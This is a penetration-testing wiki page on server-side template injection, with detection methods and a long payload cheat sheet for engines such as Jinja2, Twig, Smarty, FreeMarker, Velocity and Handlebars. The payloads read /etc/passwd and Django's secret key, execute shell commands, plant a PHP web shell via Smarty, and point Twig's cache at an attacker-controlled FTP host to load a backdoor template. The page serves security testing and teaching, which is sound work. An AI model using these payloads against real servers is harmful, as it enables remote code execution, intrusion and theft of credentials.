Server Side Template Injection (SSTI)
How to explore Server Side Template Injection (SSTI) vulnerabilities.
Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

How SSTI works

Template engines are designed to combine templates with a data model to produce result documents which help to populate dynamic data into web pages.
Template engines are:
    PHP–Smarty,Twigs
    JAVA–Velocity,Freemaker
    Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage
    Ruby-Liquid

How to explore SSTI?

SSTI can be injected everywhere, e.g., fuzzing an HTTP parameter.
1
POST /endpoint HTTP/1.1
2
Host: vulnerable-website.com
3
parameter=value
Copied!
To detect this vulnerability, we can use the following chars:
1
${{<%[%'"}}%\.
Copied!
Potential exploitation scenario:
1
POST /some-endpoint HTTP/1.1
2
Host: vulnerable-website.com
3
parameter=${{<%[%'"}}%\.
Copied!
Potential crash:
If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:
1
=${7*3}
2
={{7*3}}
3
=<%= 7*3 %>
Copied!
Check out everytime the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:
1
POST /some-endpoint HTTP/1.1
2
Host: vulnerable-website.com
3
parameter={% debug %}
Copied!
The output of the payload above is the following:
Read the secret key using the ‘settings’ object that’s available:
1
POST /some-endpoint HTTP/1.1
2
Host: vulnerable-website.com
3
parameter={{settings.SECRET_KEY}}
Copied!

Methodology of finding SSTI flaws

To identify the vulnerability, the following to-do list can be followed:
    Detect where the template injection exist
    Identify the template engine and validate the vulnerability
    Follow the manuals for the specific template engine
    Exploit the vulnerability
The following cheat sheet can be used to identify the template engine in use:

Automated Tools

Tplmap assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.
The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.
For more information, please check the GitHub repository for the tool here.
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
GitHub

Cheatsheet

1
Polyglot:
2
${{<%[%'"}}%\
3
4
FreeMarker (Java):
5
${7*7} = 49
6
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
7
8
(Java):
9
${7*7}
10
${{7*7}}
11
${class.getClassLoader()}
12
${class.getResource("").getPath()}
13
${class.getResource("../../../../../index.htm").getContent()}
14
${T(java.lang.System).getenv()}
15
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
16
17
Twig (PHP):
18
{{7*7}}
19
{{7*'7'}}
20
{{dump(app)}}
21
{{app.request.server.all|join(',')}}
22
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
23
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
24
25
Smarty (PHP):
26
{$smarty.version}
27
{php}echo `id`;{/php}
28
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
29
30
Handlebars (NodeJS):
31
wrtz{{#with "s" as |string|}}
32
{{#with "e"}}
33
{{#with split as |conslist|}}
34
{{this.pop}}
35
{{this.push (lookup string.sub "constructor")}}
36
{{this.pop}}
37
{{#with string.split as |codelist|}}
38
{{this.pop}}
39
{{this.push "return require('child_process').exec('whoami');"}}
40
{{this.pop}}
41
{{#each conslist}}
42
{{#with (string.sub.apply 0 codelist)}}
43
{{this}}
44
{{/with}}
45
{{/each}}
46
{{/with}}
47
{{/with}}
48
{{/with}}
49
{{/with}}
50
51
Velocity:
52
#set($str=$class.inspect("java.lang.String").type)
53
#set($chr=$class.inspect("java.lang.Character").type)
54
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
55
$ex.waitFor()
56
#set($out=$ex.getInputStream())
57
#foreach($i in [1..$out.available()])
58
$str.valueOf($chr.toChars($out.read()))
59
#end
60
61
ERB (Ruby):
62
<%= system("whoami") %>
63
<%= Dir.entries('/') %>
64
<%= File.open('/example/arbitrary-file').read %>
65
66
Django Tricks (Python):
67
{% debug %}
68
{{settings.SECRET_KEY}}
69
70
Tornado (Python):
71
{% import foobar %} = Error
72
{% import os %}{{os.system('whoami')}}
73
74
Mojolicious (Perl):
75
<%= perl code %>
76
<% perl code %>
77
78
Flask/Jinja2: Identify:
79
{{ '7'*7 }}
80
{{ [].class.base.subclasses() }} # get all classes
81
{{''.class.mro()[1].subclasses()}}
82
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
83
84
Flask/Jinja2:
85
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
86
87
Jade:
88
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
89
90
Razor (.Net):
91
@(1+2)
92
@{// C# code}
Copied!
For more payloads, please refer to here.

References

A Pentester’s Guide to Server Side Template Injection (SSTI) | Cobalt Blog
Cobalt
SSTI (Server Side Template Injection)
HackTricks
Last modified 5mo ago